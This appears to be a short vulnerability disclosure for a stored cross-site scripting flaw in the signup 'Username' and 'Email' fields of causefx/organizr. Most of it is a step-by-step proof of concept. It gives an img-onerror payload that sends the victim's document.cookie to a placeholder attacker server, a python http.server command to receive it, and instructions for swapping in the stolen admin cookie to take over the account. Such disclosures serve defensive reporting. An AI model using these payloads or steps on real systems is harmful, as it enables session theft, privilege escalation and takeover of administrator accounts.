Stored XSS in the "Username" & "Email" input fields leads to account takeover of Admin & Co-admin users in causefx/organizr
Apr 10th 2022
Proof of Concept
1.During "Signup" put the below payloads in the "Username" & "Email" input fields.
<img src=x onerror=this.src='http://yourserverip:port/?'+document.cookie;> <img src=x onerror=alert(document.location)>
2.Now run the attacker server by command: python3 -m http.server 3333
3.Then login with admin user and go to "Settings" -> "User Management"
4.Now xss will trigger, after that check attacker server you will see the admin session cookie
5.Copy the cookie and open inspect element from attacker account and replace the cookie of attacker with admin and reload the page
6.Then admin account will open.
Account takeover and privilege escalation